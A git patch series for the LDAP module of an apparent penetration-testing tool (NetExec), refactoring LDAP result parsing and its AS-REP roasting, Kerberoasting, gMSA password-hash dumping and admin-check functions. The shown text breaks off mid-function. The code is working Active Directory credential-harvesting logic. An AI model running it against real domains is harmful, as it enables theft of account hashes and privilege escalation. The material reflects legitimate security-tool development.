b8dfb52802084359974440159b24077464a3cd75 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Sun, 27 Apr 2025 07:49:27 +0300 Subject: [PATCH 034/103] took the old branch, it was fixed. Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 624 ++++++++++++------------------------------ 1 file changed, 170 insertions(+), 454 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 458e6bf81a..d2a8525271 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -189,24 +189,16 @@ def create_conn_obj(self): attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, ) - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "defaultNamingContext": - base_dn = str(attribute["vals"][0]) - target_domain = sub( - ",DC=", - ".", - base_dn[base_dn.lower().find("dc="):], - flags=I, - )[3:] - if str(attribute["type"]) == "dnsHostName": - target = str(attribute["vals"][0]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.info(f"Skipping item, cannot process due to error {e}") + resp_parsed = parse_result_attributes(resp)[0] + + target = resp_parsed["dnsHostName"] + base_dn = resp_parsed["defaultNamingContext"] + target_domain = sub( + ",DC=", + ".", + base_dn[base_dn.lower().find("dc="):], + flags=I, + )[3:] except ConnectionRefusedError as e: self.logger.debug(f"{e} on host {self.host}") return False @@ -549,7 +541,7 @@ def hash_login(self, domain, username, ntlm_hash): # We need to try SSL self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" - ldaps_url = f"{proto}://{self.target}" + ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) @@ -586,60 +578,34 @@ def hash_login(self, domain, username, ntlm_hash): def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") - def sid_to_str(self, sid): - try: - # revision - revision = int(sid[0]) - # count of sub authorities - sub_authorities = int(sid[1]) - # big endian - identifier_authority = int.from_bytes(sid[2:8], byteorder="big") - # If true then it is represented in hex - if identifier_authority >= 2**32: - identifier_authority = hex(identifier_authority) - - # loop over the count of small endians - sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)]) - return "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority - except Exception: - pass - return sid - def check_if_admin(self): # 1. get SID of the domaine search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN) + resp_parsed = parse_result_attributes(resp) answers = [] if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": - for attribute in resp[0][1]: - if str(attribute["type"]) == "objectSid": - sid = self.sid_to_str(attribute["vals"][0]) - self.sid_domain = "-".join(sid.split("-")[:-1]) + for item in resp_parsed: + self.sid_domain = "-".join(item["objectSid"].split("-")[:-1]) # 2. get all group cn name - search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" + search_filter = f"(|(objectSid={self.sid_domain}-512)(objectSid={self.sid_domain}-544)(objectSid={self.sid_domain}-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN) + resp_parsed = parse_result_attributes(resp) answers = [] - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - for attribute in item["attributes"]: - if str(attribute["type"]) == "distinguishedName": - answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) + for item in resp_parsed: + answers.append(f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})") if len(answers) == 0: self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. get member of these groups - search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" - attributes = [""] - resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN) - answers = [] - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue + search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))" + resp = self.search(search_filter, attributes=[], sizeLimit=0, baseDN=self.baseDN) + resp_parsed = parse_result_attributes(resp) + for item in resp_parsed: if item: self.admin_privs = True @@ -702,12 +668,12 @@ def users(self): users = [] if resp: - resp_parse = parse_result_attributes(resp) + resp_parsed = parse_result_attributes(resp) # We print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") + self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in resp_parse: + for user in resp_parsed: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") @@ -716,7 +682,7 @@ def users(self): self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") users.append(user.get("sAMAccountName", "")) if self.args.users_export: - self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}") + self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: file.writelines(f"{user}\n" for user in users) @@ -734,7 +700,7 @@ def groups(self): attributes = ["cn", "member"] resp = self.search(search_filter, attributes, 0) resp_parsed = parse_result_attributes(resp) - self.logger.debug(f"Total of records returned {len(resp):d}") + self.logger.debug(f"Total of records returned {len(resp_parsed)}") if self.args.groups: if not resp_parsed: @@ -760,11 +726,11 @@ def groups(self): def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0) - resp_parse = parse_result_attributes(resp) + resp_parsed = parse_result_attributes(resp) if resp: - self.logger.display(f"Total records returned: {len(resp_parse)}") - for item in resp_parse: + self.logger.display(f"Total records returned: {len(resp_parsed)}") + for item in resp_parsed: self.logger.highlight(item["name"] + "$") def dc_list(self): @@ -882,204 +848,93 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") - def active_users(self): - if len(self.args.active_users) > 0: - self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" - else: - self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" - - # Default to these attributes to mirror the SMB --users functionality - request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] - resp = self.search(search_filter, request_attributes, sizeLimit=0) - - if resp: - all_users = parse_result_attributes(resp) - # Filter disabled users (ignore accounts without userAccountControl value) - active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] - - self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - - for user in active_users: - pwd_last_set = user.get("pwdLastSet", "") - if pwd_last_set: - pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") - def asreproast(self): - if self.password == "" and self.nthash == "" and self.kerberos is False: + if self.password == "" and self.nthash == "" and not self.kerberos: return False # Building the search filter - search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) - attributes = [ - "sAMAccountName", - "pwdLastSet", - "MemberOf", - "userAccountControl", - "lastLogon", - ] - resp = self.search(search_filter, attributes, 0) - if resp is None: + search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" + resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0) + resp_parsed = parse_result_attributes(resp) + if not resp_parsed: self.logger.highlight("No entries found!") - elif resp: - answers = [] - self.logger.display(f"Total of records returned {len(resp):d}") - - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = "" - memberOf = "" - pwdLastSet = "" - userAccountControl = 0 - lastLogon = "N/A" - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) - elif str(attribute["type"]) == "memberOf": - memberOf = str(attribute["vals"][0]) - elif str(attribute["type"]) == "pwdLastSet": - pwdLastSet = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "lastLogon": - lastLogon = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - if mustCommit is True: - answers.append( - [ - sAMAccountName, - memberOf, - pwdLastSet, - lastLogon, - userAccountControl, - ] - ) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - if len(answers) > 0: - for user in answers: - hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0]) - if hash_TGT: - self.logger.highlight(f"{hash_TGT}") - with open(self.args.asreproast, "a+") as hash_asreproast: - hash_asreproast.write(f"{hash_TGT}\n") - return True - else: - self.logger.highlight("No entries found!") else: - self.logger.fail("Error with the LDAP account used") + self.logger.display(f"Total of records returned {len(resp_parsed)}") + for user in resp_parsed: + hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"]) + if hash_TGT: + self.logger.highlight(f"{hash_TGT}") + with open(self.args.asreproast, "a+") as hash_asreproast: + hash_asreproast.write(f"{hash_TGT}\n") def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ - "servicePrincipalName", "sAMAccountName", - "pwdLastSet", - "MemberOf", "userAccountControl", + "servicePrincipalName", + "MemberOf", + "pwdLastSet", "lastLogon", ] resp = self.search(searchFilter, attributes, 0) + resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") self.logger.debug(f"Attributes: {attributes}") - self.logger.debug(f"Response: {resp}") - if not resp: + self.logger.debug(f"Response: {resp_parsed}") + + if not resp_parsed: self.logger.highlight("No entries found!") - elif resp: - answers = [] + else: + # Filter disabled accounts + disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + for account in disabled_accounts: + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = "" - memberOf = "" - SPNs = [] - pwdLastSet = "" - userAccountControl = 0 - lastLogon = "N/A" - delegation = "" - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - userAccountControl = str(attribute["vals"][0]) - if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: - delegation = "unconstrained" - elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: - delegation = "constrained" - elif str(attribute["type"]) == "memberOf": - memberOf = str(attribute["vals"][0]) - elif str(attribute["type"]) == "pwdLastSet": - pwdLastSet = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "lastLogon": - lastLogon = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "servicePrincipalName": - SPNs = [str(spn) for spn in attribute["vals"]] - - if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ") - else: - answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs] - except Exception as e: - nxc_logger.error(f"Skipping item, cannot process due to error {e!s}") + # Get all enabled accounts + enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + self.logger.display(f"Total of records returned {len(enabled):d}") - if len(answers) > 0: - self.logger.display(f"Total of records returned {len(answers):d}") + for user in enabled: + # Perform Kerberos Attack TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: - dejavue = [] - for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers: - if sAMAccountName not in dejavue: - downLevelLogonName = self.targetDomain + "\\" + sAMAccountName - - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) - r = KerberosAttacks(self).output_tgs( - tgs, - oldSessionKey, - sessionKey, - sAMAccountName, - self.targetDomain + "/" + sAMAccountName, - ) - self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") - self.logger.highlight(f"{r}") - if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+") as hash_kerberoasting: - hash_kerberoasting.write(r + "\n") - dejavue.append(sAMAccountName) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") - return True + downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}" + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + out = KerberosAttacks(self).output_tgs( + tgs, + oldSessionKey, + sessionKey, + user["sAMAccountName"], + downLevelLogonName, + ) + + pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) + lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) + self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") + self.logger.highlight(f"{out}") + if self.args.kerberoasting: + with open(self.args.kerberoasting, "a+") as hash_kerberoasting: + hash_kerberoasting.write(out + "\n") + except Exception as e: + self.logger.debug(f"Exception: {e}", exc_info=True) + self.logger.fail(f"Principal: {downLevelLogonName} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.username}\\{self.domain} from {self.kdcHost}") - else: - self.logger.highlight("No entries found!") - self.logger.fail("Error with the LDAP account used") def query(self): """ @@ -1151,10 +1006,10 @@ def printTable(items, header): resp = self.search(search_filter, attributes) answers = [] - self.logger.debug(f"Total of records returned {len(resp):d}") - resp_parse = parse_result_attributes(resp) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed)}") - for item in resp_parse: + for item in resp_parsed: sAMAccountName = "" userAccountControl = 0 delegation = "" @@ -1215,188 +1070,44 @@ def printTable(items, header): def trusted_for_delegation(self): # Building the search filter - searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - attributes = [ - "sAMAccountName", - "pwdLastSet", - "MemberOf", - "userAccountControl", - "lastLogon", - ] - resp = self.search(searchFilter, attributes, 0) - - answers = [] - self.logger.debug(f"Total of records returned {len(resp):d}") + searchFilter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" + resp = self.search(searchFilter, attributes=["sAMAccountName"], sizeLimit=0) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = "" - memberOf = "" - pwdLastSet = "" - userAccountControl = 0 - lastLogon = "N/A" - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) - elif str(attribute["type"]) == "memberOf": - memberOf = str(attribute["vals"][0]) - elif str(attribute["type"]) == "pwdLastSet": - pwdLastSet = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "lastLogon": - lastLogon = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - if mustCommit is True: - answers.append( - [ - sAMAccountName, - memberOf, - pwdLastSet, - lastLogon, - userAccountControl, - ] - ) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - if len(answers) > 0: - self.logger.debug(answers) - for value in answers: - self.logger.highlight(value[0]) + if resp_parsed: + for item in resp_parsed: + self.logger.highlight(item["sAMAccountName"]) else: self.logger.fail("No entries found!") def password_not_required(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" - try: - self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldap_connection.search( - searchBase=self.baseDN, - searchFilter=searchFilter, - attributes=[ - "sAMAccountName", - "pwdLastSet", - "MemberOf", - "userAccountControl", - "lastLogon", - ], - sizeLimit=0, - ) - except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find("sizeLimitExceeded") >= 0: - self.logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received") - # We reached the sizeLimit, process the answers we have already and that's it. Until we implement - # paged queries - resp = e.getAnswers() - else: - return False - answers = [] - self.logger.debug(f"Total of records returned {len(resp):d}") + attributes = [ + "sAMAccountName", + "userAccountControl", + ] + resp = self.search(searchFilter, attributes, sizeLimit=0, baseDN=self.baseDN) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = "" - memberOf = "" - pwdLastSet = "" - userAccountControl = 0 - status = "enabled" - lastLogon = "N/A" - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - if int(attribute["vals"][0]) & 2: - status = "disabled" - userAccountControl = f"0x{int(attribute['vals'][0]):x}" - elif str(attribute["type"]) == "memberOf": - memberOf = str(attribute["vals"][0]) - elif str(attribute["type"]) == "pwdLastSet": - pwdLastSet = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "lastLogon": - lastLogon = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - if mustCommit is True: - answers.append( - [ - sAMAccountName, - memberOf, - pwdLastSet, - lastLogon, - userAccountControl, - status, - ] - ) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: - self.logger.debug(answers) - for value in answers: - self.logger.highlight(f"User: {value[0]} Status: {value[5]}") + if resp_parsed: + for user in resp_parsed: + status = "disabled" if int(user["userAccountControl"]) & 2 else "enabled" + self.logger.highlight(f"User: {user['sAMAccountName']} Status: {status}") else: self.logger.fail("No entries found!") def admin_count(self): # Building the search filter - searchFilter = "(adminCount=1)" - attributes = [ - "sAMAccountName", - "pwdLastSet", - "MemberOf", - "userAccountControl", - "lastLogon", - ] - resp = self.search(searchFilter, attributes, 0) - answers = [] - self.logger.debug(f"Total of records returned {len(resp):d}") + resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=["sAMAccountName"], sizeLimit=0) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = "" - memberOf = "" - pwdLastSet = "" - userAccountControl = 0 - lastLogon = "N/A" - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - userAccountControl = "0x%x" % int(attribute["vals"][0]) - elif str(attribute["type"]) == "memberOf": - memberOf = str(attribute["vals"][0]) - elif str(attribute["type"]) == "pwdLastSet": - pwdLastSet = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - elif str(attribute["type"]) == "lastLogon": - lastLogon = "" if str(attribute["vals"][0]) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) - if mustCommit is True: - answers.append( - [ - sAMAccountName, - memberOf, - pwdLastSet, - lastLogon, - userAccountControl, - ] - ) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: - self.logger.debug(answers) - for value in answers: - self.logger.highlight(value[0]) + if resp_parsed: + for user in resp_parsed: + self.logger.highlight(user["sAMAccountName"]) else: self.logger.fail("No entries found!") @@ -1413,26 +1124,43 @@ def gmsa(self): ], sizeLimit=0, ) - if gmsa_accounts: - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") - - for item in gmsa_accounts: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - passwd = "" - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - if str(attribute["type"]) == "msDS-ManagedPassword": - data = attribute["vals"][0].asOctets() - blob = MSDS_MANAGEDPASSWORD_BLOB() - blob.fromString(data) - currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new() - ntlm_hash.update(currentPassword) - passwd = hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {passwd}") + gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) + if gmsa_accounts_parsed: + self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") + + for acc in gmsa_accounts_parsed: + # PrincipalAllowedToRetrieveGMSAPassword + principal_with_read = [] + if "msDS-GroupMSAMembership" in acc: + msDS_GroupMSAMembership = acc["msDS-GroupMSAMembership"] + dacl = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(msDS_GroupMSAMembership)) + + # Get all SIDs that have the right to read the password + sids = [ace["Ace"]["Sid"].formatCanonical() for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00] + self.logger.debug(f"msDS-GroupMSAMembership: {sids}") + search_filter = "(|" + "".join([f"(objectSid={sid})" for sid in sids]) + ")" + resp = self.ldap_connection.search( + searchBase=self.baseDN, + searchFilter=search_filter, + attributes=["sAMAccountName"], + sizeLimit=0, + ) + resp_parsed = parse_result_attributes(resp) + if len(resp_parsed) > 1: + principal_with_read = [f"{item['sAMAccountName']}" for item in resp_parsed] + elif len(resp_parsed) == 1: + principal_with_read = resp_parsed[0]["sAMAccountName"] + + # Get the password + passwd = "" + if "msDS-ManagedPassword" in acc: + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(acc["msDS-ManagedPassword"]) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = hexlify(ntlm_hash.digest()).decode("utf-8") + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") return True def decipher_gmsa_name(self, domain_name=None, account_name=None): @@ -1462,28 +1190,21 @@ def gmsa_convert_id(self): attributes=["sAMAccountName"], sizeLimit=0, ) - if gmsa_accounts: - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") - - for item in gmsa_accounts: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: - self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}") - break + gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) + if gmsa_accounts_parsed: + self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") + + for acc in gmsa_accounts_parsed: + if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id: + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") + break else: self.logger.fail("No string provided :'(") def gmsa_decrypt_lsa(self): if self.args.gmsa_decrypt_lsa: if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: - gmsa = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") - gmsa_id = gmsa[0] - gmsa_pass = gmsa[1] + gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldap_connection.search( @@ -1492,19 +1213,14 @@ def gmsa_decrypt_lsa(self): attributes=["sAMAccountName"], sizeLimit=0, ) - if gmsa_accounts: + gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) + if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") - for item in gmsa_accounts: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id: - gmsa_id = sAMAccountName - break + for acc in gmsa_accounts_parsed: + if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id: + gmsa_id = acc["sAMAccountName"] + break # convert to ntlm data = bytes.fromhex(gmsa_pass) blob = MSDS_MANAGEDPASSWORD_BLOB() From b7b454e7259801f38a06c324b07b0245e211efe7 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Sun, 27 Apr 2025 07:55:47 +0300 Subject: [PATCH 035/103] Update ldap.py Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d2a8525271..db5238a3e1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -848,6 +848,32 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") + def active_users(self): + if len(self.args.active_users) > 0: + self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + else: + self.logger.debug("Trying to dump all users") + search_filter = "(sAMAccountType=805306368)" + + # Default to these attributes to mirror the SMB --users functionality + request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] + resp = self.search(search_filter, request_attributes, sizeLimit=0) + + if resp: + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] + + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") + + for user in active_users: + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + 